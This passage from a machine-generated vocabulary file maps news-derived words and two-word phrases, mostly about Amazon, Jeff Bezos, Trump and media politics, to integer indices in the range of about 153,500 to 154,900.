153511, "cityshirts": 153512, "buckle": 153513, "relations nightmare": 153514, "release affect": 153515, "seconds obama": 153516, "barcelona joined": 153517, "separate incidents": 153518, "market movements": 153519, "trump mentioned": 153520, "smaller players": 153521, "peter gilmore": 153522, "week story": 153523, "google cnbc": 153524, "younger highly": 153525, "photos abridged": 153526, "amazon earlier": 153527, "match qatar": 153528, "clearly narrative": 153529, "platforms hudson": 153530, "communication logs": 153531, "transactions": 153532, "nontariff": 153533, "prime member": 153534, "force ordered": 153535, "jersey school": 153536, "calculation": 153537, "making science": 153538, "british gq": 153539, "2017 questioned": 153540, "max escaped": 153541, "delivery startup": 153542, "expressed charlie": 153543, "pnw homelessness": 153544, "zebra": 153545, "tough guy": 153546, "whew glad": 153547, "races religions": 153548, "aspect": 153549, "child centered": 153550, "africa truly": 153551, "horizontal asset": 153552, "kidding right": 153553, "service packaged": 153554, "really trust": 153555, "beast source": 153556, "traditional christian": 153557, "telcos": 153558, "amazon response": 153559, "service eliot": 153560, "aws employees": 153561, "digital book": 153562, "devoid": 153563, "equal weight": 153564, "kimmy schmidt": 153565, "homeless encampment": 153566, "wireless infrastructure": 153567, "tumble makes": 153568, "voiced": 153569, "conflicts financial": 153570, "shibabi plays": 153571, "ensure amazon": 153572, "single": 153573, "area information": 153574, "founder calling": 153575, "puts broward": 153576, "times examined": 153577, "reactid 164": 153578, "repeatable": 153579, "national constitution": 153580, "taxes overworking": 153581, "erway": 153582, "heart breaking": 153583, "peace trump": 153584, "rants blasting": 153585, "cools bit": 153586, "1701et": 153587, "months reuters": 153588, "forecast leaves": 153589, "blue jeans": 153590, "giant pull": 153591, "kalorama neighborhood": 153592, "disputes": 153593, "s7a 1962092244": 153594, "traffic": 153595, "breaking baseball": 153596, "kong 27990": 153597, "genies": 153598, "suburban community": 153599, "times leaked": 153600, "good lobbying": 153601, "_self": 153602, "vox jen": 153603, "kosinski": 153604, "trump willingness": 153605, "published bombshell": 153606, "advisor sean": 153607, "ami says": 153608, "spoken extensively": 153609, "resarch": 153610, "raise prices": 153611, "yesterday delivered": 153612, "undisclosed meeting": 153613, "korea revived": 153614, "modest rebound": 153615, "representing american": 153616, "smearing": 153617, "allocation": 153618, "otcm": 153619, "creative monopolies": 153620, "stevens": 153621, "new ceos": 153622, "david moon": 153623, "regulatory landscape": 153624, "kardashians hotman": 153625, "regularly informed": 153626, "worth costly": 153627, "dispatching": 153628, "better sell": 153629, "amazon listing": 153630, "term nbc": 153631, "short list": 153632, "downloaded social": 153633, "advisers mutual": 153634, "stores florists": 153635, "foto sourcedavid": 153636, "deadline looms": 153637, "night shelters": 153638, "quite number": 153639, "schwietzer thinks": 153640, "key officials": 153641, "emblematic": 153642, "recent weakening": 153643, "officer dylan": 153644, "evening email": 153645, "democrats republicans": 153646, "advisor canada": 153647, "sell distribute": 153648, "morning ritual": 153649, "gains outpace": 153650, "vibration": 153651, "jurisdictions amazon": 153652, "technological stocks": 153653, "livable": 153654, "885": 153655, "open formal": 153656, "couldn buy": 153657, "moodier": 153658, "state agenda": 153659, "discount policy": 153660, "cross country": 153661, "photo rep": 153662, "sees night": 153663, "entrails": 153664, "report studied": 153665, "just analysis": 153666, "boondoggle": 153667, "breakdown": 153668, "daily briefing": 153669, "connectivity": 153670, "ruling alex": 153671, "suffers daily": 153672, "founder reportedly": 153673, "best young": 153674, "enterprises access": 153675, "real quick": 153676, "officials grounded": 153677, "304 shares": 153678, "amazon power": 153679, "administration proposed": 153680, "wasson rc1d900f0700": 153681, "prime vehicles": 153682, "missile": 153683, "competing fairly": 153684, "advantage bezos": 153685, "amazon giving": 153686, "412 380": 153687, "stories delivered": 153688, "warship": 153689, "including agriculture": 153690, "offers bundle": 153691, "latest piece": 153692, "little real": 153693, "risk sectors": 153694, "enrique pena": 153695, "strong cyber": 153696, "especially bad": 153697, "gannett news": 153698, "thrillers": 153699, "world best": 153700, "pumped": 153701, "rated decade": 153702, "establish commission": 153703, "walmart canada": 153704, "followers george": 153705, "trumper": 153706, "directly related": 153707, "sexual harassment": 153708, "long established": 153709, "rebate hard": 153710, "steve rogers": 153711, "favorite hip": 153712, "massive especially": 153713, "faulders abc": 153714, "netflix roma": 153715, "netflix potentially": 153716, "post registered": 153717, "readers need": 153718, "100 hours": 153719, "dentsu": 153720, "victory diminished": 153721, "washingtons biggest": 153722, "wonder stream": 153723, "deal rupert": 153724, "bulldozing": 153725, "egomaniac": 153726, "rave": 153727, "receive customer": 153728, "iran threat": 153729, "shows somewhat": 153730, "commercials": 153731, "mindshare": 153732, "corrugated": 153733, "highest court": 153734, "snatch airwaves": 153735, "tariffs ahead": 153736, "htlive": 153737, "estimates roughly": 153738, "cras new": 153739, "haul items": 153740, "discussed publicly": 153741, "monthly patron": 153742, "concluding years": 153743, "khashoggi notably": 153744, "videopinner init": 153745, "975 8718": 153746, "true according": 153747, "losers fit": 153748, "impeach": 153749, "seeking income": 153750, "satirical": 153751, "feds used": 153752, "pointed attacks": 153753, "deal maker": 153754, "recommends handing": 153755, "week meeting": 153756, "doj requests": 153757, "rep tom": 153758, "belittle": 153759, "100 warehouses": 153760, "company ebay": 153761, "commission olivers": 153762, "used cancer": 153763, "policy washington": 153764, "details horrific": 153765, "jeff beauregard": 153766, "difficult working": 153767, "coalition engaged": 153768, "ceaselessly previously": 153769, "pure distraction": 153770, "stores amazon": 153771, "congress followed": 153772, "scrawny dwarf": 153773, "cool elite": 153774, "colleagues continue": 153775, "iran mass": 153776, "the25th amendment": 153777, "rfp continues": 153778, "prices usps": 153779, "amazon focus": 153780, "paragraph trump": 153781, "lessons learnt": 153782, "compensate": 153783, "robinson rally": 153784, "hurting american": 153785, "holiday purchases": 153786, "trump handing": 153787, "maintain access": 153788, "businesses opening": 153789, "super micro": 153790, "paul blair": 153791, "sanford conservative": 153792, "billion corporation": 153793, "amazon overtook": 153794, "quantitative easing": 153795, "clinton saying": 153796, "term secular": 153797, "special diets": 153798, "appear headed": 153799, "blaming obama": 153800, "parties seek": 153801, "affront": 153802, "york skyscrapers": 153803, "necessary knowledge": 153804, "efficient cloud": 153805, "reportedly spent": 153806, "approach used": 153807, "negative ratings": 153808, "driving thoughts": 153809, "man pleads": 153810, "climbed nearly": 153811, "new republic": 153812, "century style": 153813, "300x520": 153814, "red make": 153815, "market mid": 153816, "atif siddiqui": 153817, "mingled defense": 153818, "subculture": 153819, "dennis van": 153820, "khashoggi according": 153821, "people watch": 153822, "email howard": 153823, "record hitting": 153824, "flight risk": 153825, "organ": 153826, "good long": 153827, "jack stoddard": 153828, "election officials": 153829, "reputation took": 153830, "execute lease": 153831, "growth primarily": 153832, "nassar": 153833, "culinary talent": 153834, "justin marks": 153835, "pushed congress": 153836, "fail according": 153837, "owner nancy": 153838, "magas hate": 153839, "wonderkid": 153840, "complicating": 153841, "immediately obvious": 153842, "east tokyo": 153843, "competitive prices": 153844, "youtube aj": 153845, "arms length": 153846, "theory given": 153847, "president appoints": 153848, "rosen house": 153849, "plans trump": 153850, "disclosures": 153851, "enabled products": 153852, "hotel read": 153853, "sea level": 153854, "sally rooney": 153855, "manufactured product": 153856, "know fassbender": 153857, "1940x900 uploaded_files": 153858, "offset costs": 153859, "price quickly": 153860, "koett walk": 153861, "dc employees": 153862, "bloomberg extensive": 153863, "garun": 153864, "face gdpr": 153865, "videoleafurl videos": 153866, "american technology": 153867, "dixie vodka": 153868, "tremendously": 153869, "charlie leight": 153870, "policy connections": 153871, "smith fedex": 153872, "ensure liberties": 153873, "hire eissenstat": 153874, "mean greene": 153875, "qanon related": 153876, "acknowledge fedex": 153877, "brand announced": 153878, "purported plans": 153879, "various different": 153880, "market speculation": 153881, "resolutely": 153882, "e0 a4ee": 153883, "huelgaamazon": 153884, "report results": 153885, "control implementation": 153886, "peculiar twist": 153887, "educational rap": 153888, "year ending": 153889, "did earlier": 153890, "strategic locations": 153891, "hearing exposed": 153892, "previous fbi": 153893, "american retailers": 153894, "american flag": 153895, "self driving": 153896, "important roles": 153897, "jkbjournalist": 153898, "2018 tower": 153899, "department objections": 153900, "pay benefits": 153901, "cia ink": 153902, "comienza la": 153903, "big brother": 153904, "elect anti": 153905, "catherine larkin": 153906, "enquirer initially": 153907, "000 slightly": 153908, "investors discuss": 153909, "divorce news": 153910, "merchandise particularly": 153911, "repeatedly calls": 153912, "davis cup": 153913, "satisfy amazon": 153914, "prohibit funding": 153915, "sentence simply": 153916, "deyoung": 153917, "time leader": 153918, "labaki refuses": 153919, "loss according": 153920, "skip west": 153921, "animal rescue": 153922, "justice approval": 153923, "northwestern mexico": 153924, "astonishing": 153925, "clearly linked": 153926, "grotesquely": 153927, "dod contract": 153928, "obeying": 153929, "red country": 153930, "pharmaceuticals provides": 153931, "segway": 153932, "reaching 1849": 153933, "va": 153934, "row america": 153935, "divert investment": 153936, "court win": 153937, "distribution sector": 153938, "goal brazil": 153939, "fedex does": 153940, "coratti told": 153941, "decision": 153942, "disorders": 153943, "fox government": 153944, "hadcome": 153945, "metapack solution": 153946, "estate fortune": 153947, "clark tweeted": 153948, "early investors": 153949, "doggedly": 153950, "constitutional clash": 153951, "plodding": 153952, "pecker did": 153953, "shift raises": 153954, "couple 143": 153955, "mccain hit": 153956, "alpha male": 153957, "analytics team": 153958, "nyse jnj": 153959, "pro apple": 153960, "corresponds": 153961, "forest combine": 153962, "substantial marketing": 153963, "mergers including": 153964, "onaws": 153965, "accounting techniques": 153966, "answered media": 153967, "historic": 153968, "beach": 153969, "future editions": 153970, "adzone 4160": 153971, "million resulting": 153972, "novel reads": 153973, "bartiromo uh": 153974, "unbearable": 153975, "undercover investigation": 153976, "tags amazon": 153977, "inexpensive sets": 153978, "dell technologies": 153979, "street walmart": 153980, "fund nonprofit": 153981, "organization licensing": 153982, "target alex": 153983, "economic freedom": 153984, "news congressional": 153985, "psychologically allergic": 153986, "best deals": 153987, "laura ries": 153988, "clean food": 153989, "angeles lacerda": 153990, "frank langella": 153991, "decade later": 153992, "tech leadership": 153993, "humanity sake": 153994, "playboy ex": 153995, "farcical": 153996, "trump accuses": 153997, "100 drivers": 153998, "restoration amendment": 153999, "accused luxembourg": 154000, "began model": 154001, "month culminated": 154002, "wilson printed": 154003, "stores retail": 154004, "coastal areas": 154005, "major drugstore": 154006, "political types": 154007, "employees future": 154008, "report broke": 154009, "siddiqui ceo": 154010, "orlando immediately": 154011, "calls enemies": 154012, "rival walmart": 154013, "stock drawn": 154014, "public figures": 154015, "increasingly suspects": 154016, "migrant children": 154017, "doesn involve": 154018, "eddie pells": 154019, "yorker pulitzer": 154020, "chat raj": 154021, "gulf statesand": 154022, "copy": 154023, "immigration decisions": 154024, "titan amazon": 154025, "wapo owner": 154026, "incimage": 154027, "paying duties": 154028, "profit respectively": 154029, "chef knife": 154030, "entity list": 154031, "cast wary": 154032, "revived": 154033, "nationwide contest": 154034, "pace trump": 154035, "says amazons": 154036, "moratorium voluntary": 154037, "swift ranging": 154038, "new council": 154039, "trump drags": 154040, "christmas time": 154041, "university chico": 154042, "walsh ap": 154043, "frighteningly": 154044, "audacity": 154045, "billion richer": 154046, "paint strippers": 154047, "faqs": 154048, "guidelines apprenticeships": 154049, "engineered living": 154050, "played alongside": 154051, "noble pursuit": 154052, "calebhowe": 154053, "buckets": 154054, "day including": 154055, "eads kc": 154056, "targeting amazon": 154057, "greetings": 154058, "issue false": 154059, "seemingly arbitrary": 154060, "bar abortions": 154061, "underappreciated morgan": 154062, "clutch": 154063, "reach trillion": 154064, "items including": 154065, "presence maybe": 154066, "mark mahaney": 154067, "business friendly": 154068, "jr day": 154069, "including bids": 154070, "nathan peterson": 154071, "wine producers": 154072, "avoid taking": 154073, "legislators hold": 154074, "committee purchased": 154075, "grand scale": 154076, "protecting lands": 154077, "sanchez despite": 154078, "barbara lee": 154079, "schumer words": 154080, "amazon eu": 154081, "automobiles": 154082, "commerce leaders": 154083, "reorient": 154084, "data 2018": 154085, "antagonized bezos": 154086, "lazy": 154087, "intact blue": 154088, "separately doug": 154089, "michigan": 154090, "extremely compelling": 154091, "days ago": 154092, "versus 600": 154093, "events best": 154094, "case asking": 154095, "camp efforts": 154096, "vortex": 154097, "forecast mountain": 154098, "gossip tabloid": 154099, "dermot mulroney": 154100, "eclectic group": 154101, "mari uyehara": 154102, "economy merging": 154103, "yields surging": 154104, "date just": 154105, "wage story": 154106, "dershowitz explodes": 154107, "beef consumption": 154108, "oejeff bozo": 154109, "2019 lucky": 154110, "book sean": 154111, "steve moore": 154112, "state deputy": 154113, "misdeeds following": 154114, "evaporated": 154115, "racist neighbor": 154116, "easier opening": 154117, "josephson eleanor": 154118, "chief meteorologist": 154119, "commerce segment": 154120, "revenue 2018": 154121, "unwittingly allowing": 154122, "deal jon": 154123, "using power": 154124, "fallout facebook": 154125, "gianaris earlier": 154126, "sports team": 154127, "lightfoot lag": 154128, "win election": 154129, "sale solution": 154130, "expands lobbying": 154131, "midterms florida": 154132, "diagnosis": 154133, "beginning immediately": 154134, "edit": 154135, "dishing": 154136, "triumvirate": 154137, "journalism icymi": 154138, "censored": 154139, "bedminster golf": 154140, "giraffe saying": 154141, "value corporate": 154142, "hq2 stage": 154143, "hiring financial": 154144, "finish time": 154145, "usps expects": 154146, "science classes": 154147, "034 shares": 154148, "fear anger": 154149, "svcs nyse": 154150, "hurts kids": 154151, "wildfires minutes": 154152, "small cramped": 154153, "letter celebrity": 154154, "town hall": 154155, "susan fowler": 154156, "americans according": 154157, "massie": 154158, "humphrey analysts": 154159, "myreipro": 154160, "greg gottesman": 154161, "better way": 154162, "tjx companies": 154163, "say fear": 154164, "paycheck cha": 154165, "skyrocketing": 154166, "amazon blessed": 154167, "involving turd": 154168, "president bashir": 154169, "hounding": 154170, "world premiere": 154171, "google business": 154172, "paul archuleta": 154173, "marathon viral": 154174, "obstructing free": 154175, "watchdog widens": 154176, "yearly reports": 154177, "media__over": 154178, "quite consistently": 154179, "ironic declared": 154180, "underpay royalties": 154181, "precinct": 154182, "employers vying": 154183, "women economic": 154184, "expensive multi": 154185, "medicaid work": 154186, "big splash": 154187, "massive returns": 154188, "130 year": 154189, "western mexico": 154190, "government mark": 154191, "correctional": 154192, "mac needs": 154193, "city leaders": 154194, "industry group": 154195, "including groceries": 154196, "reactid 169": 154197, "support organisations": 154198, "ennis": 154199, "palace intrigue": 154200, "farmers trump": 154201, "dorsey heard": 154202, "anthony booker": 154203, "users baffled": 154204, "terrorists": 154205, "prestigious silicon": 154206, "mayor pembroke": 154207, "thisweekabc": 154208, "pretty offensive": 154209, "concentration camps": 154210, "kingdom istanbul": 154211, "michael dell": 154212, "bids don": 154213, "flexible curriculum": 154214, "view youtube": 154215, "buffett wealth": 154216, "machine built": 154217, "spanish officials": 154218, "english netflix": 154219, "asknewswires": 154220, "unveils best": 154221, "bezos subsequently": 154222, "ready willing": 154223, "deng": 154224, "pelosi news": 154225, "generally positive": 154226, "term spending": 154227, "drugstore": 154228, "baltic": 154229, "quirky": 154230, "drago bloomberg": 154231, "currently levy": 154232, "bipartisan support": 154233, "autonomous systems": 154234, "trump toy": 154235, "padr\u00f3n": 154236, "cards followed": 154237, "plant chairman": 154238, "video data": 154239, "carmen": 154240, "social media": 154241, "monster": 154242, "woolf": 154243, "care involves": 154244, "comas severe": 154245, "forget bezos": 154246, "day announcements": 154247, "cjr today": 154248, "river amid": 154249, "rhoten": 154250, "intravenous injection": 154251, "q3 2014": 154252, "kid think": 154253, "gain steam": 154254, "enquirer kept": 154255, "utah shale": 154256, "repression deforestation": 154257, "kequiang": 154258, "putin trump": 154259, "alec wildenstein": 154260, "new landing": 154261, "state voters": 154262, "best hot": 154263, "overwhelmingly": 154264, "niall stanage": 154265, "notable players": 154266, "r4ee f6": 154267, "just raising": 154268, "establishment media": 154269, "faces failing": 154270, "philanthropy focused": 154271, "isbecause": 154272, "taxes bloomberg": 154273, "targets specific": 154274, "leak continues": 154275, "projects giant": 154276, "bezos refusal": 154277, "ryan steve": 154278, "shell conocophillips": 154279, "media analyst": 154280, "antitrust authority": 154281, "state reaped": 154282, "peeved": 154283, "soldado": 154284, "annual training": 154285, "kevin murphy": 154286, "news website": 154287, "degree": 154288, "sharply criticizing": 154289, "time_updated 2019": 154290, "exec": 154291, "settings close": 154292, "conditioned warehouse": 154293, "company information": 154294, "sandler": 154295, "transfer intangible": 154296, "urbanologist": 154297, "proposed entity": 154298, "respect amazon": 154299, "approving amazon": 154300, "little bump": 154301, "voice using": 154302, "equity stake": 154303, "facebook fb": 154304, "eckstein usni": 154305, "lai": 154306, "rampant ignorance": 154307, "ample competition": 154308, "expect classic": 154309, "country duty": 154310, "zume amazon": 154311, "platform mayvenn": 154312, "networking titan": 154313, "nbc hosted": 154314, "run collective": 154315, "profitable expansion": 154316, "rears": 154317, "180 operator": 154318, "support ice": 154319, "glow michelle": 154320, "rights demanding": 154321, "launch political": 154322, "moc zaman": 154323, "just hours": 154324, "bank match": 154325, "jim cramer": 154326, "marie antoinette": 154327, "general outlook": 154328, "path going": 154329, "authorities switched": 154330, "establish tight": 154331, "new entrants": 154332, "cooking food": 154333, "limousine": 154334, "pain care": 154335, "large metro": 154336, "fulfillment markets": 154337, "taking companies": 154338, "worldwide operations": 154339, "haze": 154340, "certain lawmakers": 154341, "live crickets": 154342, "trump pulling": 154343, "storied second": 154344, "liesman brainard": 154345, "entrench": 154346, "statement spacex": 154347, "r4 function": 154348, "celebrity judges": 154349, "political clout": 154350, "small massachusetts": 154351, "toups": 154352, "dampened exports": 154353, "walker agreement": 154354, "sanctions read": 154355, "history deal": 154356, "sanders proposes": 154357, "services management": 154358, "compelling buying": 154359, "class": 154360, "outsized influence": 154361, "congressman jair": 154362, "organic grocery": 154363, "pharmacy services": 154364, "progressives pushing": 154365, "ambitious crossover": 154366, "carrell bezos": 154367, "worker company": 154368, "skincare thing": 154369, "trump sees": 154370, "trump laundered": 154371, "commission democratic": 154372, "grudge": 154373, "biggest investments": 154374, "medina": 154375, "thy": 154376, "company opposing": 154377, "1827": 154378, "affinity groups": 154379, "day residents": 154380, "cares untied": 154381, "turquoise shirt": 154382, "kroger nationwide": 154383, "bring cities": 154384, "network usa": 154385, "correspondent abby": 154386, "leaf datecreated": 154387, "pic source": 154388, "biggest ad": 154389, "face extreme": 154390, "ethics violations": 154391, "wicked dig": 154392, "coverage samantha": 154393, "resigning": 154394, "saudis ties": 154395, "powerful senator": 154396, "report reads": 154397, "queens facility": 154398, "imperium die": 154399, "entire school": 154400, "transports": 154401, "chukumba": 154402, "fell modestly": 154403, "platform lendio": 154404, "cnnmoney having": 154405, "holly mesrobian": 154406, "york civil": 154407, "signing presidential": 154408, "kimberly guilfoyle": 154409, "returned save": 154410, "prompting shift": 154411, "quantum ledger": 154412, "hey think": 154413, "chapel hill": 154414, "mandel ngan": 154415, "persistent signs": 154416, "owens debut": 154417, "instantly realized": 154418, "businessman turned": 154419, "urged treasury": 154420, "securities exchange": 154421, "rival book": 154422, "writing fox": 154423, "photos starbucks": 154424, "wore bruno": 154425, "577": 154426, "posting": 154427, "past claiming": 154428, "early education": 154429, "cinema chain": 154430, "regulatory mechanism": 154431, "sales numbers": 154432, "venturebeat amazon": 154433, "established industries": 154434, "story preschool": 154435, "governments start": 154436, "book amazon": 154437, "tmz cnn": 154438, "usps essentially": 154439, "ice arrests": 154440, "watch kathie": 154441, "bezos pay": 154442, "settling": 154443, "finds budget": 154444, "based red": 154445, "twisted": 154446, "assistance according": 154447, "diligence aws": 154448, "3rd service": 154449, "human demise": 154450, "instagram vine": 154451, "gravity levitation": 154452, "parkland massacre": 154453, "match tom": 154454, "added new": 154455, "meyers samantha": 154456, "bernie fernandez": 154457, "amazon required": 154458, "centenary trump": 154459, "make repairs": 154460, "bailouts": 154461, "municipal": 154462, "globally better": 154463, "consumers ages": 154464, "statuscolor": 154465, "tersely": 154466, "ongoing effort": 154467, "egoists": 154468, "postcards package": 154469, "era richard": 154470, "house meeting": 154471, "stiller directs": 154472, "prohibit": 154473, "leaked documents": 154474, "star tribune": 154475, "poynter reached": 154476, "chuck grom": 154477, "travel ban": 154478, "bernie wing": 154479, "2020 italy": 154480, "quarter aspiriant": 154481, "carousel medium": 154482, "including chicagoist": 154483, "andres": 154484, "arsenic": 154485, "maker": 154486, "zuker tweet": 154487, "contest tha": 154488, "big strengths": 154489, "leveraged loans": 154490, "cathy renowned": 154491, "green new": 154492, "aggressive timelines": 154493, "finished slightly": 154494, "single number": 154495, "lucrative government": 154496, "upped lobbying": 154497, "progressives": 154498, "rl britain": 154499, "rep sara": 154500, "dominant player": 154501, "flagship store": 154502, "lonely city": 154503, "film composer": 154504, "putin 2018": 154505, "subtle threat": 154506, "reimposition": 154507, "essentially downplay": 154508, "aardvark habanero": 154509, "immediately following": 154510, "impacted customers": 154511, "stock slumped": 154512, "2017 cyber": 154513, "pardons": 154514, "different regions": 154515, "media contributed": 154516, "filmmaking amazon": 154517, "businesses shares": 154518, "department data": 154519, "constituents want": 154520, "vaxcalc org": 154521, "carell joked": 154522, "d2jyz4lfsmnmp9": 154523, "titan david": 154524, "remove counterfeit": 154525, "false lists": 154526, "amazon survivor": 154527, "warranty": 154528, "company statement": 154529, "antitrust litigation": 154530, "101 pf_rd_p": 154531, "watergate fame": 154532, "benedict counters": 154533, "bolduan phil": 154534, "government lawyers": 154535, "organizations mounted": 154536, "changing media": 154537, "holds nintendo": 154538, "wwe championship": 154539, "trader": 154540, "iran killed": 154541, "ryan directors": 154542, "nissan": 154543, "mail accounted": 154544, "employees actually": 154545, "know work": 154546, "gleaned": 154547, "fight including": 154548, "firm comscore": 154549, "bloodstream": 154550, "k0": 154551, "usps postage": 154552, "dad killed": 154553, "operations opioid": 154554, "spain poland": 154555, "special seed": 154556, "gin": 154557, "self absorbed": 154558, "shelly adelson": 154559, "republican comeback": 154560, "impersonal teachers": 154561, "new line": 154562, "bezosians": 154563, "dismissed mccain": 154564, "beat analyst": 154565, "ftc task": 154566, "false friends": 154567, "pursuing kaola": 154568, "american working": 154569, "administration short": 154570, "ago danhof": 154571, "fuels ice": 154572, "early sales": 154573, "monitoring programs": 154574, "retailer removing": 154575, "publish flattering": 154576, "assassinating": 154577, "carver": 154578, "platform wouldn": 154579, "bezos demanded": 154580, "spying charges": 154581, "trump proved": 154582, "congressional insiders": 154583, "permanently solve": 154584, "state long": 154585, "amazon topsellers\u0430list": 154586, "technological revolution": 154587, "listed include": 154588, "allowing counterfeit": 154589, "read nj": 154590, "cross paths": 154591, "previous administrations": 154592, "normal political": 154593, "cortez wants": 154594, "applications increased": 154595, "administration reports": 154596, "retail magnet": 154597, "shore": 154598, "midnighton": 154599, "buzz china": 154600, "fond": 154601, "warner channels": 154602, "growth year": 154603, "scoop": 154604, "expressed confidence": 154605, "charlotte push": 154606, "recently broke": 154607, "toilet days": 154608, "evidently tired": 154609, "mailing rates": 154610, "winning amazon": 154611, "rolex watches": 154612, "487 741": 154613, "party leaders": 154614, "warned yesterday": 154615, "kino lorber": 154616, "related exclusive": 154617, "family total": 154618, "play16 nov": 154619, "asked ami": 154620, "curtail transgender": 154621, "ranking fox": 154622, "500m": 154623, "naomi nix": 154624, "kid trump": 154625, "worst nightmare": 154626, "particular niche": 154627, "index repubs": 154628, "skokie illinois": 154629, "doing zuker": 154630, "amazon prepares": 154631, "senate regardless": 154632, "schade": 154633, "lower number": 154634, "thompson hine": 154635, "guan": 154636, "police stood": 154637, "rectangles": 154638, "sunstein": 154639, "pompeo detailing": 154640, "fcc commissioner": 154641, "james robertson": 154642, "600": 154643, "partisan tax": 154644, "immigrant ad": 154645, "idiot pete": 154646, "netherlands bermuda": 154647, "anthology horror": 154648, "special powers": 154649, "reassure local": 154650, "135 987mm": 154651, "blames israel": 154652, "minimum sentence": 154653, "daniel pearl": 154654, "independent films": 154655, "college board": 154656, "70m": 154657, "agent dropkicks": 154658, "open massive": 154659, "year gala": 154660, "search companies": 154661, "status 1021384752136409088": 154662, "corps project": 154663, "netflix don": 154664, "rauschenberg buffalo": 154665, "traveller game": 154666, "court immigration": 154667, "dropped bombshell": 154668, "harpoonconnect": 154669, "robotic pitcher": 154670, "court tomorrow": 154671, "kit just": 154672, "zuker tweeted": 154673, "120 000": 154674, "arts": 154675, "court barred": 154676, "nfl football": 154677, "friendmatty": 154678, "season especially": 154679, "e0 t0": 154680, "book excerpt": 154681, "billion company": 154682, "plus years": 154683, "specifically focus": 154684, "sanchez knew": 154685, "computing support": 154686, "ahead including": 154687, "skipping": 154688, "usps developing": 154689, "discredit news": 154690, "story house": 154691, "ami engaged": 154692, "keeping fairly": 154693, "gift cards": 154694, "points associated": 154695, "slansky charities": 154696, "provide service": 154697, "photoessayslides null": 154698, "strategy selling": 154699, "length standalone": 154700, "photographs": 154701, "president scandals": 154702, "christians": 154703, "isliveplayer false": 154704, "economic effect": 154705, "vanity border": 154706, "merchandise bearing": 154707, "178": 154708, "frisk": 154709, "amazon elevated": 154710, "consumers instead": 154711, "status 1014801031325241344": 154712, "books electronics": 154713, "gary burtless": 154714, "matt": 154715, "combs vandal": 154716, "mikesnider": 154717, "drivers": 154718, "vote republican": 154719, "ayers sent": 154720, "generating losses": 154721, "ensuring minimum": 154722, "avoided paying": 154723, "bells correct": 154724, "american charter": 154725, "plastic recycling": 154726, "complex tale": 154727, "service says": 154728, "house movement": 154729, "fuel audio": 154730, "anthony ray": 154731, "transgressions ranging": 154732, "parliament delivered": 154733, "calling mccabe": 154734, "felled": 154735, "joining jeff": 154736, "grove press": 154737, "started twitter": 154738, "appointed person": 154739, "303": 154740, "oscar winner": 154741, "spin fear": 154742, "boys club": 154743, "repurchasing shares": 154744, "120 plus": 154745, "officials criticized": 154746, "dropped ivanka": 154747, "nomination gallup": 154748, "1905 centers": 154749, "dozen ways": 154750, "ivanka download": 154751, "companies city": 154752, "kelowna": 154753, "insane remarks": 154754, "emmys": 154755, "son barron": 154756, "earned income": 154757, "soybean growers": 154758, "stalemate rod": 154759, "monopoly verizon": 154760, "gallons": 154761, "automatic increases": 154762, "knobbe": 154763, "official reiterated": 154764, "nice review": 154765, "york wouldn": 154766, "putin russia": 154767, "illusionist": 154768, "secretive aerospace": 154769, "press new": 154770, "occasio": 154771, "voiced concerns": 154772, "wage war": 154773, "misheard commands": 154774, "era classification": 154775, "powerful loyalty": 154776, "investors won": 154777, "jpg president": 154778, "fueled giveaway": 154779, "prevented states": 154780, "aka bezos": 154781, "mature market": 154782, "emotional moment": 154783, "article quickly": 154784, "wavering": 154785, "excellency": 154786, "640 254": 154787, "cohnovernight finance": 154788, "yahoofinance": 154789, "tv streaming": 154790, "ktvq": 154791, "faster cfo": 154792, "hollywood scandal": 154793, "involving internet": 154794, "foundations chairman": 154795, "era dominated": 154796, "time tjl": 154797, "rebeccaballhaus": 154798, "worst level": 154799, "possible regulatory": 154800, "base happy": 154801, "cnbc courtney": 154802, "warts": 154803, "compatibility": 154804, "president trumpdeclared": 154805, "concentrate power": 154806, "included amazon": 154807, "upbeat results": 154808, "dinner rolls": 154809, "mixed signals": 154810, "depiction": 154811, "actually membership": 154812, "leaders decided": 154813, "victoria": 154814, "oracle orcl": 154815, "chevron nyse": 154816, "investors focus": 154817, "exlarge": 154818, "foul": 154819, "40am": 154820, "official statistics": 154821, "counsel isn": 154822, "cup according": 154823, "candidate john": 154824, "michael sanchez": 154825, "grew approximately": 154826, "populated": 154827, "proud tradition": 154828, "congratulatory tweet": 154829, "johnson foundation": 154830, "osborne offred": 154831, "new yorker": 154832, "tuition free": 154833, "reckoning": 154834, "kaphle": 154835, "bezos commute": 154836, "window adsbygoogle": 154837, "votes count": 154838, "hybrids": 154839, "innovating apple": 154840, "minor player": 154841, "officer pretends": 154842, "increasingly totalitarian": 154843, "amazon leapt": 154844, "welcome immigrants": 154845, "knot ms": 154846, "rare tumor": 154847, "gyllenhaal makes": 154848, "sites possible": 154849, "hospitalized": 154850, "ridesharing service": 154851, "new google": 154852, "clinton garnered": 154853, "contract solely": 154854, "warner deal": 154855, "bans shoppers": 154856, "aws continues": 154857, "night lot": 154858, "needed good": 154859, "policies promoted": 154860, "read just": 154861, "digital economy": 154862, "doepfner": 154863, "1940x900": 154864, "exact date": 154865, "wrote parscale": 154866, "mistake trump": 154867, "access good": 154868, "franzia floated": 154869, "money speaking": 154870, "inventory slack": 154871, "lightweight parcel": 154872, "areas initially": 154873, "discounts mark": 154874, "produced alarming": 154875, "gateways": 154876, "various companies": 154877, "recent state": 154878, "house flubbed": 154879, "concerns centered": 154880, "sidewalk think": 154881, "versus big": 154882, "virginia militant": 154883, "alinea": 154884, "bzr2gluymv": 154885, "enquirer released": 154886, "shares initially": 154887, "ls": 154888, "fair markets": 154889, "good graces": 154890, "security amazon": 154891, "leaders utah": 154892, "operations treasury": 154893, "offered 7bn": 154894, "mcintosh president": 154895, "repmaxinewaters lang": 154896, "homosexuals indians": 154897, "extensive steps": 154898, "photos specifically": 154899, "wme entertainment": 154900, "apparently lost": 154901, "exchanged friendly": 154902, "falsely purports": 154903, "report stated": 154904, "frontlines": 154905, "creates big": 154906, "second class": 154907, "near year": 154908, "tm trump": 154909, "company investment": 154910, "intimidated harley": 154911, "kan": 154912, "outside kearns": 154913, "price colored": 154914, "corporation owns": 154915, "couldn help": 154916, "buy american": 154917, "day families": 154918, "prices mean": 154919, "morning look": 154920, "course loves": 154921, "raise millions": 154922, "government insiders": 154923, "texts bezos": 154924, "misses beer": 154925, "connection given": 154926, "relay race": 154927, "strong begin": 154928, "jury argues": 154929, "car wash": 154930, "clifford mayor": 154931, "police helicopter": 154932, "claire mccaskill": 154933, "rarity": 154934, "told cohen": 154935, "enabled women": 154936, "fangs": 154937, "dollar weakened": 154938, "trump helps": 154939, "lower courts": 154940, "completeness": 154941, 